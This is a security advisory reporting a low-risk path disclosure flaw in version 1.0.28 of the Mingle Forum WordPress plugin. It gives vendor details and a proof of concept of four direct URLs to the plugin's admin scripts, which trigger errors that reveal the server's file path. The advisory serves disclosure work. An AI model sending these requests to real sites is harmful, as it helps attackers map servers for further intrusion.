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HTB22849: Path disclosure in Mingle Forum wordpress plugin



Vulnerability ID: HTB22849
Reference: http://www.htbridge.ch/advisory/path_disclosure_in_mingle_forum_wordpress_plugin.html
Product: Mingle Forum wordpress plugin
Vendor: Cartpauj ( http://cartpauj.com/ ) 
Vulnerable Version: 1.0.28
Vendor Notification: 15 February 2011 
Vulnerability Type: Path disclosure 
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "/wp-content/plugins/mingle-forum/fs-admin/wpf-*.php" scripts, it's possible to generate an error that will reveal the full path of the script.
A remote user can determine the full path to the web root directory and other potentially sensitive information.

The following PoC is available:


http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-usergroup-edit.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-add-group.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-add-forum.php
http://[host]/wp-content/plugins/mingle-forum/fs-admin/wpf-moderator.php